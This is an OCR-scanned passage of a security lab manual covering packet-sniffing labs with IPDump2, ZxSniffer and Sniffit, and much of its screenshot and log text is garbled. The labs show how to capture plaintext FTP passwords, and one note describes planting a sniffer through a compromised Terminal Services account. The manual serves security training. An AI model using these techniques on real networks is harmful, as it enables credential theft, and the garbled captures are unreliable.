: listening on “Dewicc“NPF_{18EDB174-87F8—4BB6-97BA-ABGE?CCIDTESY

603 pack eceived by filter
@ packets dropped by kernel

C=\Doun loads\Hindump>_

-
QSR 11044 a0
Eom|i

Hstart||| () & =3 || SucDonnloadsiwindume | [BCAWINT\System32\... | & Googk - Microsoft Intern. .. |
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By opening the file you can analyze the captured data.

*Note: Attackers are looking for any unencrypted (plain text) data that flows along

[l Windows 2000 Professional are Workstation =101 x|

File Edt Mizw WM Team ‘Windows Help

File Edit Format Help

11:44:05.923774 IP 64.233.187.99.80 > win-2000-v-1.1420: P
11:44:05.923817 IP win-2000-v-1.1420 > 64.233.187.59.80:
11:44:05.928344 IP win-2000-v-1.1421 > 64.233.187.99.80:
11:44:05.077672 IP 64.233.187.00.80 > win-2000-v-1.1421:
11:44:06.111710 IP win-2000-v-1.1420 > 64.233.187.99.80:
11:44:06.165217 IP win-2000-v-1.1421 > 64.233.187.99.80
11:44:06.165388 IP 64.233.187.99.80 > win-2000-v-1.1420
11:44:06.165426 IP 64.233.187.090.80 > win-2000-v-1.1420:
11:44:06.165671 IP win-2000-v-1.1420 > 64.233.187.09.80:
11:44:06.175204 IP win-2000-v-1.1421 > 64.233.187.99.80:
11:44:06.207416 IP 64.233.187.59.80 > win-2000-v-1.1421:
11:44:06.249917 IP win-2000-v-1.1420 > 64.233.187.59.80:
[11:44:06.303519 IP 64.233.187.99.80 > win-2000-v-1.1420:
11:44:06.304353 IP 64.233.187.00.80 > win-2000-v-1.1420:
11:44:06.304404 IP win-2000-v-1.1420 > 64.233.187.99.80:
11:44:06.320485 IP win-2000-v-1.1421 > 64.233.187.99.80:
11:44:06.337590 IP 64.233.187.99.80 > win-2000-v-1.1421:

R RN

.

o TTTO-

ER-B

11:44:06.438135 IP win-2000-v-1.1420 > 64.233.187.09.80:
11:44:06.553310 IP 64.233.187.99.80 » win-2000-v-1.1420:
11:44:06.553962 IP 64.233.187.59.80 > win-2000-v-1.1420:
11:44:06.554002 IP win-2000-v-1.1420 > 64.233.187.59.80:
[11:44:06.561518 IP win-2000-v-1.1421 > 64.233.187.99.80:
11:44:06.534907 IP 64.233.187.090.80 > win-2000-v-1.1421:
11:44:06.657523 IP win-2000-v-1.1420 > 64.233.187.09.80:
11:44:06.704463 IP 64.233.187.99.80 » win-2000-v-1.1420:
11:44:06.707465 IP 64.233.187.59.80 > win-2000-v-1.1420:
11:44:06.707544 IP win-2000-v-1.1420 > 64.233.187.599.80:
11:44:06.711358 IP win-2000-v-1.1421 > 64.233.187.99.80:
11:44:06.758053 IP 64.233.187.00.80 > win-2000-v-1.1421:
11:44:06.847778 IP win-2000-v-1.1420 > 64.233.187.99.80:
111:44:06.300940 IP 64.233.187.59.80 » wm 2000-v-1.1420:
11:44:06.5301790 IP 64.233.187.99.80 > win-2000-v-1.1420:
11:44:06.901847 IP win-2000-v-1.1420 > 64.233.187.99.80:
11:44:06.306381 IP win-2000-v-1.1421 > 64.233.187.09.80:
11:44:06.346395 IP 64.233.187.99.80 » win-2000-v-1.1421:
11:44:07.0044496 IP win-2000-v-1.1420 > 64,233.187.99.80:
11:44:07.085813 arp who-has 172.16.1.44 tell win-2000-v-1
11:44:07.127807 IP 64.233.187.90.80 > win-2000-v-1.1420:

nUT V- WD D

o

LR B

11:44:06.493387 arp who-has ppp-70-254-207-50.ds1.hstntx. swhell.net (Broadcast) tell home
P 3046:4225(279) ack 17409 win 64240 (OF,

13732:14003(271) ack 3388 win 8576 ;I
ack 14003 win 64240 (DF)
1156:1541(385) ack 382 win 63850 (DFJ
382:509(127) ack 1541 win 8376
3388:3667(279) ack 14003 win 64240 (DF.
ack 509 win 63732
14003:15433(1430) ack 3667 win 8576
15433:15705(272) ack 38667 win 8576
ack 15705 win 64240 (DF)
1541:1926€385) ack 509 win 63732 (DF)
509:636(127) ack 1926 win 8576
3667:3046(279) ack 15705 win 64240 (DF.
15705:17135(1430) ack 3948 W‘H‘\ 8576
17135:17409(274) ack 3946 win

ack 17409 win 64240 (DF,
1926 2311¢385) ack 636 win 63605 (DF)
636:763(127) ack 2311 win 8576

17409:18838(1430) ack 4225 win 8576
18835:19111(272) ack 4225 win 8576

ack 19111 win 64240 (DF’

2311:2896(385) ack 763 win 63478 (DF)
763:890(127) ack 2686 win Bi76
4225:4504¢279) ack 19111 win 64240 (DF)
19111:20541(1430) ack 4504 win 8576
20541:20814(273) ack 4504 win 8576 -
ack 20814 win 64240 (DF)
2696:3081(385) ack 890 w‘m 63351 (DFJ
890:1017¢127) ack 308l w

4504:4783(279) ack 20814 w1n 64240 (DF.
20814:22244(1430) ack 4783 W'H"V B576
22244 22517(273) ack 4783 win 8576

ack 22517 win_ 64240 (DF)
3081:3466(385) ack 1017 win 63224 (DF)
1017:1144(127) ack 3466 win 8576
4783:5062(279) ack 22517 win 64240 (DF’

22917:23947(1430) ack 5062 win B376 e
| _>l_I

BB CAWINNTYSysts. .. | & Janogle -

Ml(msuFl.‘.”@uutput—Nntepad [ B 11aeam

|k ~

the network. Some of the items of interest are:

Usernames
Passwords

E-mails

IP addresses

MAC addresses
Router IP addresses
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Lab 45: Packet Capture — Sniffer
Monitor IP Network Traffic Flow: IPDump2

Prerequisites: None

Countermeasures: Encryption, various sniffer detector applications

Description: The IPDump2 application is a command-line utility that allows
for the monitoring of the network traffic flow. The output can be saved
to a file for further diagnoses. This type of capture used in conjunction
with switch bypass techniques can be valuable to an attacker to determine
which computers communicate with which other servers. This application
does not give details of the packets captured by displaying the flow of the
traffic captured. Remember that all Linux commands are case sensitive.

Procedure: For Windows simply execute from the directory containing the
executable. For Linux, uncompress and execute with the following syntax:

ipdump?2 (interface) <options>

For Linux

From the directory containing the compressed files type tar —zxvf ipdump2-
prel.tgz.
The files will uncompress into a new directory named ipdump2-prel.
Change to the new directory by typing cd ipdump2-prel and pressing Enter.
Execute by typing

. /ipdump2 ethO
*Note: The interface in this example is ethO as it is the only interface in this virtual

machine. If you have multiple NICs you may wish to use other NICs by
incrementing the number: int1, int2, ppp0, pppl, and so on.

W Hed Hat Linus - YMiware Workstation - -mﬂ
Fie FEdt View WM Team Widows Holp

fureB6keao0n

i o B s P Mot Linur

hd o017 localhost=malslpwelindumpz-prel

Ele Edi  Miew Teminal Go Help

[root@localhost ipdumpd-prells ./ipdump2 ethof]

BECme
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The traffic will appear on the screen identifying the TP addresses of each
packet as well as which port each packet is coming from and destined to.
Unless instructed otherwise, the application will continue to run until the Ctrl
plus the C key is pressed. The packets are displayed as:

Date - Time - Protocol - Source IP Source Port - Dest.
IP - Dest Port

Bl Red Hat Linux - ¥Mware Workstation R

File Edit ¥ew %M Team Windows Help

=101 %]

v

Eile Edit View Terminal Go Help

10-12 18:35:30 TCP: 209.132.177.50 : 2560 -> 172.16.1.45 : 0 706 Z
10-12 18:35:30 TCP: 172.16.1.45 : 2560 -> 209.132.177.50 : 0 52
10-12 18:35:30 TCP: 172.16.1.45 : 26469 -> 209.132.177.50 : 12144 551
10-12 18:35:30 TCP: 209.132.177.50 : 2560 -> 172.16.1.45 : 0 704
10-12 18:35:30 TCP: 172.16.1.45 : 2560 -> 209.132.177.50 : 0 52
10-12 18:35:30 TCP: 172.16.1.45 : 12144 —> 209.132.177.50 : 28263 549
10-12 18:35:30 TCP: 209.132.177.50 : 5120 -> 172.16.1.45 : 37120 558
10-12 18:35:30 TCP: 172.16.1.45 : 24935 -> 209.132.177.50 : 25903 552
10-12 18:35:30 TCP: 209.132.177.50 : 5120 -> 172.16.1.45 : 37120 543
10-12 18:35:30 TCP: 172.16.1.45 : 28782 -> 209.132.177.50 : 26412 548
10-12 18:35:30 TCP: 209.132.177.50 : 5120 -> 172.16.1.45 : 37120 578
10-12 18:35:30 TCP: 172.16.1.45 : 28782 -> 209.132.177.50 : 26412 548
10-12 18:35:30 TCP: 209.132.177.50 : O el 172.16.1.45 : 3401 612
10-12 18:35:30 TCP: 172.16.1.45 : 28782 -> 209.132.177.50 : 26412 548
10-12 18:35:30 TCP: 209.132.177.50 : O - 172.16.1.45 : 13 616
10-12 18:35:30 TCP: 172.16.1.45 : 28782 -> 209.132.177.50 : 26412 548
10-12 18:35:30 TCP: 209.132.177.50 : O -> 172.16.1.45 : 13 584
10-12 18:35:30 TCP: 172.16.1.45 : 11369 -> 209.132.177.50 : 28001 545
10-12 18:35:30 TCP: 209.132.177.50 : O -> 172.16.1.45 : 13 584
10-12 18:35:30 TCP: 209.132.177.50 : O el 172.16.1.45 : 13 932
10-12 18:35:30 TCP: 172.16.1.45 : 0 -> 209.132.177.50 : 13 52
10-12 18:35:30 TCP: 172.16.1.45 : 0 -> 209.132.177.50 : 13 52
j [root@localhost ipdump2-prel]#

N Qﬁg [ (I [z E @ Sat Nov 12

‘ | I b 6:35 PM

Bomw

*Note: Keep in mind that the traffic you see is completely dependent upon the
environment the computer “sniffing” resides in. For example, if the network
link you are using is connected to a network hub, you will be able to see
all traffic going through that hub to all other computers on that hub. If]
however, the network link you are using is connected to a switch, you will
only be able to see traffic specifically destined to your connection. There is
a way to “sniff” traffic on a switch to show all traffic to a specific or every
computer on a switch, which will be covered in Chapter 9.
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IPDump?2
by typing:

The IPDump?2 application will run all data sent
tured.txt.

also allows for the saving of the output to a file for later analysis

/ipdump2 eth0 >> captured.txt

[root@localhost

ipdunpZ-prel]# .,/ ipdump2 eth0 »> captured.txt

20 3
130 . 200.132,177.50 : 26412 548
30 209.132.177.%0 : 0 17 6.1.45 : 13 616
130 172.16.1.45 : 28782 200,132,177.50 : 28412 548
130 209.132.177.%0 : O 172.16.1.45 : 13 584
130 172,16,1.45 © 11369 200,132.177.50 : 28001 545
130 209.132.177.%0 : O 172.18.1.45% : 13 584
10-12 18:35:30 200.132.177.5%0 172.16.1.45 : 13 932
10-12 18:35:30 TCI 172.16.1.45% 200,132.177.%50 : 13 52
10-12 18:35:30 TCI 172.16.1.45% 200,132,177.%0 : 13 52

EcE

LR s l=]=)

Help

16,1,

Terminal  Go
H 172,

45t 12144

[root@localhost

[root@localhost

ipdunpZ-prel]# ./ ipdump2 eth0 »» captured.txt

ipdunpZ-prel]s

QAR TCE

I [Cvon
=]

10-132 a0

10-12 1350

10-12 30 200.132,177.50 : 548
10-12 130 TCI 209.132.177. 172.18.1.45 : 616
10-12 130 TC| 172.16.1. 200,132,177.50 : 548
10-12 130 TCI . 172.18.1.45 : 584
10-12 +30 TC 172.16.1. 200,132,177.5%0 : 545
10-12 t30  TCI 209.132.177. 172.18.1.45 : 584
10-12 18:35:30 TCI 209,132,177, 172.18.1.45 : 932
10-12 18:35:30 TCI 172.16.1. 200,132.177.%0 : 52
10-12 18:35:30 TCI 172.18.1. 200,132,177.%0 : 52

to a file named cap-

=10lx

iy s 2000 Sarver
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By opening the file with a text editor the contents of the captured.txt file
are ready for analysis.

File  Edit
a4
Rack

1012 183602
10-12 18:36:04 TCP:
10-12 183604 TCP:
10-12 18:36:04 TCP:
10-12 183604 TCP:
1012 183604 TCP.
10-12 18:36:04 TCP:
1017 1R 204 TOR:
10-12 18:36:05 TCP:
10-12 183605 TCP:
1012 183605 TCP
10-12 18:36:05 TCP:
10-12 183605 TCP.
10-12 18:36:05 TCP:
10-12 18:36c05 TCP:
10-12 183605 TCP:
10-12 18°36:05 TCP:
1012 183605 TCP.
10-12 18:36:05 TCP:
10-12 1836005 TCP:
1012 183605 TCP
11T IR I6NE TER

“captured b

View
3

Foanwarnil

10-12 18.35.58 TCP.
10-12 18:35:58 TCP: 208.132.177.50: 0
unsupparted IP protocel 17

Go  Bookmarks  Help

.o 0 @ B

Up Siop Redoad Home

Location: | /frootitoals/iptock|pdump-prel/captuned.tx

172.16.145.0  -» 200.132.177.50.0

17216145 28768 -» 64.233.187.99:
©4.233.167.99 0 28768 > 17210145 ¢
64.233.187.99: 28768 >  172.16.1.45:
©4.233.167.99 © 38639 > 172106.1.45 ¢

172.16.1.45 : 38639 -» 64.2313.187.99
64.233.187.99: 38639 >  172.16.145:

172.16,1,45 ¢ 39630 - 64,233, 157.99 -

172.16.1.45 38639 -» 200,132.177.50:
L3678 B0

172.16.1.45 © 389639 -> 208.132.17.
200,132.177.50 . 318639 »  172.16

a

45

209.132.177.50: 38639 -»  172.16.1.45:

172.16.1.45 - 38639 > 208.132.177.50
172,16.1.45: 26490 -» 200,132.177.50
209.132.177.50 © 26490 <= 17210145
200.132.177.50 . 29808 » 172,16

15

172.16.1.45 29808 -» 200.132.177.50:

205.132.177.50 25445 > 172.16.1.45

172.16.1.45 1 25445 -» 209.132.177.50:

208,132.177.50 28525 - 17216.1.45
172.16.1.45 - 28525 » 208.112.177.50

- 300 132 177 SN - 1SRAT . 172 1R 145
selected (2000 K)

170161450

52
52

11587 572
11587 46
11587 46
36L7Y 1470
36678 40
36678 126
WHIH 40
36678 52

IEETE 52
36678 60
IBETR 52
26992 574

26992 52

14895 1420
14895 52
B7I6 1420
8736 52
11873 1420
11875 52
2313 1430

[ View s Text ™

Libbsinduainal L 2,

AL U8R P

Bomei

For Windows

From the directory containing the IPDump2 executable, type:

ipdump2 0

*Note: The interface in this example is O as it is the only interface in this virtual
machine. If you have multiple NICs you may wish to use other NICs by

incrementing the number: 7, 2, and so on.

Tnteenet
Exphorer

| ) @ || 4 Netvscnbing Tooks - M

TNNT\ Sypstem3z' eme.esr - Ipdump? 0

[f e sasem

Romei
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The IPDump2 application will display the packet flow on the screen.
Unless instructed otherwise, the application will continue to run until the Ctrl
plus the C keys are pressed.

indows 2000 Professional - YMware Workstation

File  Edit View VM Team Windows Help
mnliy @ DB} 3
&

INNTY System32'cmd.exe
172 16.1.43 64.233_161.147
64.233.161.147
64.233.161.142
64.23 61.147 17 &
17 6.1.43 : 64.23 61
pported IP protocol 17

172.16.1.43
172 .16.1.43

.16.1. 2 2 216.232.51.

172.16.1. 216.232.51.
216.239.51.9¢9 172.16.1.
6.1. 216.239.51.

51 172.16.1.43

17

6.239.51.99 =
64.233.187.99
64.233.167.184
64.233.167.164
64.233.161.147
64.233.161.147
216.232.51.99

Hstart||| 1] @& =2 “ & networking Tools .. | (yCHDownloadsipd... |[EICAWIN Sy, < 6:50 FM
Bembi

IPDump?2 also allows for the saving of the output to a file for later analysis
by typing:
./ipdump2 0 >> captured.txt

indows 2000 Professional - YMware Workstation

Fie FEdt View VM Team ‘Windows Help

ulr @

INNT! System32iemd.exe

C = Downloads\ipdump2\ipdump2-prel’ipdunp2 3> captured.txt.

start| | [} @ (53 || & Netweorking Tools ... | _yCDowrloadsipd...|[ B CwINNT\Syst... ¢ &:5LPM
Eom)
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By opening the file with a text editor the contents of the captured.txt file
are ready for analysis.

indows 2000 Profe:

]

Fle Edt View WM Team ‘Windaws Help

nal - VMware Workstation o =] 3

File Edt Format Help

10-12 18 29 TCP: 172.16.1.43 @ 6688 -> ©84,233.187.99 37377 48 -
[10-12 1 9 TCP: 172.16.1.43 @ 6638 -»> 64,233,187.99 : 37377 40
[10-12 1 9 TCP: 64.233,187.99 : 6688 -»> 172.16.1.43 : 37377 44
[10-12 1 9 TCP: 172.16.1.43 @ 6638 > ©64,233,187.99 : 37377 315
[10-12 1 9 TCP: 64.233,187.99 : 6688 -» 172.16.1.43 : 37377 40
10-12 1 5 TCRI  641233.187.08 ! 6688 > 1727611043 1 37377 40
10-12 1 O TCR:  64.233.187.08 : 46015 > 172.16.1.43 : 57732 1470
10-12 1 O TCR:  64.233.187.98 © 46873 —> 172.16.1.43 : 31056 415
10-12 1 5 TCR i 46873 —>  64.233.187.99 : 31856 40
10-12 1 1 TCR i 46873 -» 64.233.161.147 : 31856 48
10-12 1 z TR D 46873 -» 64.233.161.147 : 31856 40
10-12 1 z TP : 46373 > 172.16.1.43 : 31956 44
10-12 1 z TCP 12503 —> 64.233.161.147 : 13105 433
10-12 1 2 T 12593 - 172.16.1.43 : 13105 40
10-12 1 2 T 12503 - 172.16.1.43 : 13105 _ 40
[10-12 1 2 TCP 1 40349 - 172.16.1.43 : 24084 1470
[10-12 1 2 TCP 1 14232 -> 172.16.1.43 : 5361 1470
[10-12 1 2 TCP 1 14232 -> 64,233.161.147 : 5361 40
[10-12 1 2 TCP 124847 -»> 172.16,1.43 : 41281 1470
[10-12 1 2 TCP 1 32558 -» 172.16.1.43 : 19628 1470
[10-12 1 2 TGP 121300 -» 172.16.1.43 : 14599 1470
10-12 1 2 T D 21300 > 84.233.161.147 1 14588 40
10-12 1 2 TR 62580 > 172.16.1.43 : 32610 1470
10-12 1 z TR 28262 > 172.16.1.43 : 55560 1470
10-12 1 z TR 62640 —> 172.16.1.43 : 10087 1470
10-12 1 z TR 62640 —> 64.233.161.147 : 10087 40
10-12 1 z TR i 21988 —» 172.16.1.43 : 38817 1470
10-12 1 z TP 51171 > 172.16.1.43 : 11031 710
10-12 1 z TCP 51171 —> 64.233.161.147 : 11031 40
10-12 1 2 T 12505 —> 64.233.161.147 : 12502 446
10-12 1 2 T 12505 —> 64.233.161,147 : 12502 48
[10-12 1 2 TCP 12595 -»> 72.16.1. 12562 40
[10-12 1 2 TCP 12595 -> 72.16.1.43 12562 167
[10-12 1 3 TCP 12595 -> &4.233.161.147 12592 40
[10-12 1 3 TCP 12595 > 72.16.1.43 12562 4,
[10-12 1 3 TCP 21581 -> 64.233.161.147 15665 450
[10-12 1 3 TCP 21581 -> 72.16.1.43 15665 40
10-12 1 E = J15a1 > 1727611043 1 15665 40
10-12 1 3 TR 21581 > 172.16.1.43 : 15665 167
10-17 18:51:33 TCR 21581 —> 64.233.161.147 : 15665 450 5
start| | 1] & =3 “ & Hetworking Toos .| (C:\Downlosdsiipd...| EACAWIMNTiSyste... |[Zcaptured -Note... | @8E  aszPm
Eome

*Note: IPDump?2 is a good tool for tracking the data flow in and out of the computer it
is installed on by providing a quick display of the IP connections taking place
as well as ports in use. Security professionals can use this type of application to
quickly spot ports commonly used by known Trojans.
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Lab 46: Password Capture — Sniffer
Exploit Passwords and Sniff the Network: ZxSniffer

Prerequisites: None

Countermeasures: Encryption, various sniffer detector applications

Description: The ZxSniffer application is an excellent utility that allows
you to capture packets as they traverse the network, save to output to
a file for further review, and capture passwords for POP3, FTP, ICQ,
and HTTP traffic.

Procedure: Install and run the ZxSniffer executable.

Double-click the ZxSniffer executable.

I

ZxSniffer 4,30

Click Next.

[l windows 2000 Professional - ¥Mware Workstation

File Edit Y¥ew %M Team Windows Help

nrejgenas ™

x
ZxSniffer 4.30b
for Windows 98, ME, 2000, X

Desciption
Viewing of netwark trafic

-ICMF, IGMP, LDP, TCP

Interception and decoding of passwords;
-POP3, FTF.ICO, HTTR

Packe! caphure

iﬁstartm ] & 3 H 4§ WEB-HACK.ru: Downioad | cipownloadsizinitter [ 15 2uSniffer Setup: Welc

| @R s
Bomw
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Accept the default Destination folder and select either Add Desktop icon
and/or Add Start menu icon. Click Install.

5] Windows 2000 Professional - ¥Mware Workstation 1ol x|
File Edit ‘Wew %M Team ‘Windows Help
njire BaRpeEsEm

@Vﬁll(luws 2000 Professional

X
ZxSniffer 4.30b
for Windows 98, ME, 2000, xP
Destination folder
¥ Add Deskiopicon
™ Add Start menu icon

Astart || 1] @ 51 || Ewerackn: Downioad .| (ycpovniasdsizsniter [ zusniffer setup: seter., | @0 S8 1147 em
EEmy

The ZxSniffer application will install. Click Exit.

indows 2000 Professional - ¥Mware Workstation j o [=]
File Edt ¥ew %M Team Windows Help

i@ Zusniffer Setup:

ZxSniffer 4.30b
for Windows 98, ME, 2000, %P

ZuSniffer has been successhully installed

* FunZsSriffer

Hstart ||| 1] & £ H ] WEB-HACK.ru: Dowrioad ...| yCHiDowniosdsiBSnifer ||+ zuniffer Setup: Finish ‘@—@@ 1147 PM
A= 0
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If you receive a Cannot found selected adapter error, click OK.

[l Windows 2000 Professional - ¥Mware Workstation

File Edit ‘Wew %M Team ‘Windows Help
nire B Bam

A Hao @Vﬁll(lows 2000 Professional

o 2

Password  Traffic Stop. Clear Save Capture Tooks: Options  Ahout Exit

Hame | Souwce addiess | Dest addiess ] Login | Fassword | Date Time

/.

o Cannot found sslected adspier

@%@@ 1147 PM
EEmy

Astart || 1] @ 51 || E1wesHackr: Downioad .| ycipownioadsipsniter [ zusnitfer

The Options screen will appear. Select the NIC you want ZxSniffer to use.

indows 2000 Professional - ¥YMware Workstation

File Edit Yew YM Team Windows Help
nlpr & @ B =

B\ﬂﬁn(luws 2000 Professional

P

s
39 Options @
e T e ]| Pl i
Name e

B ¥Mware Accelerated AMD PCHet Ada. |

@%@@ 11:48PM
Eomy

Astart || 1] @ 51 || E1weHackr: Downioad .| ycipownioadsipsniter [ zusnitfer
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The default screen is the Password capture screen and by default, is turned
ON. As plain text, username/passwords traverse the network, ZxSniffer will
capture and display them on this screen.

Bl Windows 2000 Professional - ¥Mware Workstation

File Edit  Wiew %M Team Windows
njra|ganBEal ®

ol @Vﬁll(luws 2000 Professional

Q A & & &

Passiord  Traffic Stop Clear Save  Captwe  Took  Options  About Ezit

[ Souwce address | Dest address JLegn | Passwerd | Date Time |
17216.1.43 17216.1.40 hacker zerocool 13411056 00:03

Hhstart ||| ] & 51 H ] WEB-HACK.ru: Dowrload ...| 3CHDownlosdsiBsnitfer || % Zusniffer |<ﬂ—$ 12:04 AM

Eemw

*Note: Keep in mind that the traffic you see is completely dependent upon the
environment the computer “sniffing” resides in. For example, if the network
link you are using is connected to a network hub, you will be able to see all
traffic going through that hub to all other computers on that hub. If, however,
the network link you are using is connected to a switch, you will only be
able to see traffic specifically destined to/from your connection. There is a
way to “snift” traffic on a switch to show all traffic to a specific or every
computer on a switch, which will be covered in Chapter 9.
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By clicking on the Traffic icon the traffic monitoring screen appears. As
traffic moves through the network the data is displayed on this screen.

& Windows 2000 Professional - YMware Workstation =100 x|

File  Edit  View UM Team Windows Help
b & @ 3

(3 Windows 2000 Professional ux [ Red Hat Linu

EIEE

A e g &

Password  Traffic  Stop  Clear  GSawe Capure  Took  Options  About  Exit

| Pait__J Direction | Address JFat ]

ighstart || 1] @ 153 || & )wesHACK rus Download .. | ‘_ycDownloadsiz:niter || zesniffer |E1G o8 120w am |

E=mw 4

From the data captured in this example, notice the column named Direc-
tion because compared to other traffic monitoring applications ZxSniffer is
intelligent enough by simply flipping the arrow indicating the direction of the
traffic instead of entering a new line for each flow change. This makes it easier
for the user to track communications.

g 1=k

File  Edit  view UM Team Windows Help
nlr @& |8 G =]

- )| i Windows 2000 Professional at Linux | [ R Linus = o SRR

EIEIEd

PHAAE « & &

Traffic Stop Clear Save  Capture  Took  Options  About Exit

Addhess | Part__J Direction | Address P ]
172161.35 NET. y 17216255055 NET
17216143 1180 4 B4ZIIIEEEI HITP
17216143 1181 1 121804 DNS
17216143 1182 4 BAZIIIELIA HITP

3

“

5

NET. 17216.255 285 NET.

172.16.255.255

| & & “ E)WEB-HACK ru: Downioad ...| EYCH\Donrloads\zsriffer | % zxsriffer

| @R zosan

=@ -
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By clicking on the Save icon ZxSniffer will ask for a location to save the data
to. Give the captured data a filename and accept the default location and click Save.
(This is another nice feature of ZxSniffer as it saves the data in HTML format.)

dows 2000 Profe:

File  Edt View Team Windows  Help

- ¥YMware Workstation |

mulye |8G0E|EE

s BB

Password

File: nanie:

Save as lype: IHTML files [* hitm:* htm]

[captured 1]

172.16.1.40
17216.1.43
17216.1.40
17216.1.37
17216.1.34

NET.
MNET.
1042
NET
MNET.

jﬁstartl“ i} @ 13 “ 4 JWEB-HACK. ru: Dowrload | =Y C\Downloads| ZxSriffer

> 172.16.255.255
3 172161 40
3 17216.1.43
> 17216.255.255
3 172.16.255.255

|| & 2usnifrer

4]%@ 12:08 AM |

Ecmi .

By opening the file (the default location ZxSniffer files are saved to is C:\

ProgramFiles\ZxSniffer/, you can review the results of the file in HTML format.

%
File  Edit  iew Team Windows Help
nlr & )
T a lows 2000 Professional
raffic - Microsoft Internet Explorer
| Bl Et Wew Favortes Tods  Help ‘
| #eack - & - @[] A | @usearch [EFavortes (BHistory | B S
| address [ Criprogram FiesiZxsniffericaptured 1 hm =] P Hunls »]
=l
Traffic
Protocol Address Port Direction Address Port
UDP 172.16.1.35  NETEBIOS-IS 2 12 16259005 NETEIOS-NS
ENER 17216143 1180 < 64.233.187.59 HTTP
UDP 172.16.143 1181 = 172.16.0.1 DS
EEEE 172.16.1.43 1182 < 64.233.167.104 (EHIREE
UDP 172.16.1.27 NETBIOS-DGM > 172.16.255.255 NETBIOS-DGM
I
172.16.1. NETEIOS-ITS B 1206 255 255 NETBIOS-N3
172.16.1.43  WETBIOS-DGM = 172516 255,955 NETBIOS-DGR
172.16.1.40  NETEIOS-DGM = 1572 16 255255 MNETEBIOS-DiGHL
172.16.140 NETBIOS-NS > 26550255 NETBIOS-NS
172.16.1.43  NETBIOS-IS = 172.16.1.40 NETEICS-MS
172.16.1.40 1042 = 172.16.1.43 NETBIOS-35N
172.16.1.37  NETBIOS-IS = 172.16.255.255 NETBICS-HS
172.16.1.34 ~ NETBIOS-DGM = 1216255255 MNETEIOS-DiGR
I
€] Done: [ [ &y computer
Hstare||| () & =3 || @)wepracir. | SuciDownioad .| & mnfrer | Cuciprogram .. [[Eraffic- i (@G 8 1zosan
Ecml
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From the ZxSniffer application click on the Capture icon. The packet
capture screen will appear.

B} windows 2000 Professional - ¥Mware Workstation

le Edt View M Team ‘Windows Hel

@ & &

Password  Traffic Stop Clear Save  Caplue  Took  Opfions  About Exit

JPot ] Direction | Address JFat ]

@G o 1237 am
Eome

Histart|| 1] @ 2 || E1wemhackr.| Cucipownioad..| Caciprooam .. |[5 zusniffer

Click on the Start icon to initiate the packet capture (sniffer).

B} Windows 2000 Professional - ¥Mware Workstation

Fle Edit View WM Team ‘Windows Help
nlr @ e =1

n

(53 Windows 2000 Professional inux | | RedHat Lin

o G

Stop  Fitr  Packets Header  Dala  Optioms  Close

| Direction | Address 2 JOsta L [DataKeprods |

dhstart| | (] @ =3 || E)wenackr..| Sucipounioad .| @ zenter | Suciprogin .. |[ 9 capture

Qjé@ 1211 4M |
Ecme
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When enough data has been captured, click on the Stop icon and the
captured data will appear.

=] lows 2000 Professional - YMware Workstal

Fle Edt View ¥M Team ‘Windows Help

nfre|BEp e

e o8 @

Start Stop Fiter  Packets  Header Data Options  Close

| Ditection | Address 2 JData L... | Data Keywards

IP:UDR  O0:3C18. 172161 Broadeast
ARP 00:12:88:... Broadcast
ARP 00:12:88.... Broadcast
ARP 00:12:88:... Broadcast
00000000 AC 10 01
00000000 44 46 41 FDFAEJFGE
00000018 4l 43 FFICACACACAC
0x|_||ooonooza a1 43 ACACACACARL
00000030 43 48 LBACFFFPENF
00000030 43 45 DECFCEFFHFDE
Header length 20| [00000048 50 41 FFPFPACAB ¥3
Service type 0x| 00000054 00 oo B
Total length 23] |000000&0 00 00
00000060
000NANTE

. [ e capture @cowmn..| [EG B zizem

start”] ™ & < H EWEBHA. . | ac:\DDwnlml Q Zxsniffer | yCProgr
Eome

From the data captured, scroll through the center area and view the content
of the packet in the lower-right area of the ZxSniffer screen to look for any

valuable data that may be in the packets (plain text).
In this case, an FTP session was established with the username of hacker.

lows 2000 Professional - YMware Workstal

File Edt View ¥M Team ‘Windows Help

TMEEIEEEEIETE

o G

Stop  Fiter  Packets Header  Data  Options  Close

J Dinection | Address 2 JData L | Data Kepmards

ARP 00:12:88:... Broadcast

ARP 001288, Broadcast

P2 TCP 00:0C:28. - 172181 1186 00:0C:28. - 172181

1P TCP 00:0C:23.. 172161 FTF 00:0C:23.. 172161 1186

Header length
Service type
Total length

dhstart|| | 1] @ <3 || EJweenia. . | ycipown. | gzontter | ycipon.. |[9 capture | Bcwm. | [EG 8 zizan
(=] 1
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By scrolling through the packets one at a time, the password is also
displayed. In this case the password is zerocool.

B Windows 2000 Professional - ¥Mware Workstation

File Edit ‘Wew %M Team ‘Windows Help
nip & @0 =k

3] @Vﬁll(lows 2000 Professional i Linux | RedHat

lBaoo @

Start Stap Fiter  Packet:  Headsr Dats Options  Cloge

ress 1 J Direction | addiess 2 JData L JDats Kepwards

SowcelP | Sowce P | DestMAC | Dest|P
00:12:88:.. 64.2331.. HTTP 00:0C:29... 172161, 1185
001288 Broadcast
P TCR - 00:0C:29.. 172.161.. | 1186 O0:0C:29.. 172161 FTP
B2 TER: 00:0C:23.. 172161 EER 00:0C:23.. 172161 1186
[<]|0onoooon | 50 41 53 53 20 74 65 72 6F 63 £F 6F 6C | PASS zerocool
0000000% ‘ oD 0& ‘

Astart || 1] @ 51 || Elwepra. | Scipown.| § 2t | Cuciproo. |[g captore . Eciwmw. | [Ed @ 1zaaam
EEmy

Minimize the application and it will place an icon by the clock in the lower-
right section of the Windows desktop. By placing the mouse over this icon
periodically, ZxSniffer will let you know how many new passwords have been
captured since the last time you checked.

g

*Note: 1 have personally used this application in conjunction with the “see all” port
on a switch to help track down a hacker coming out of New York City via a
compromised server of a travel agency out of Washington state. This is an
effective tool.

As for an attacker’s advantage, a prime example would be to have a
compromised Terminal Service account, term serve into the server, and exe-
cute the ZxSniffer application. Then at the attacker’s convenience log back in
and check the passwords captured, packets captured, and so forth.
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Lab 47: Exploit Data from Target Computer — Sniffit

Prerequisites: None

Countermeasures: Secure access control lists (ACLs), Bastion servers/
workstations, host-based firewalls

Description: The Sniffit application captures Transfer Control Protocol
(TCP), UDP, and ICMP packets, which provide detailed information in
hex or plain text. Sniffit can detect Ethernet and PPP and other devices,
can filter the results for desired effects, and can save the output to a
log file for further analysis. Remember that all commands in Linux are
case sensitive.

Procedure: Configure and create the Sniffit application and execute with
the following syntax:

sniffit <options>

From the directory containing the compressed files type tar —zxvf snif-
fit.0.3.7.beta.tar.gz.

The files will uncompress into a new directory named sniffit.0.3.7.beta.

Change to the new directory by typing cd sniffit.0.3.7.beta and pressing
Enter.

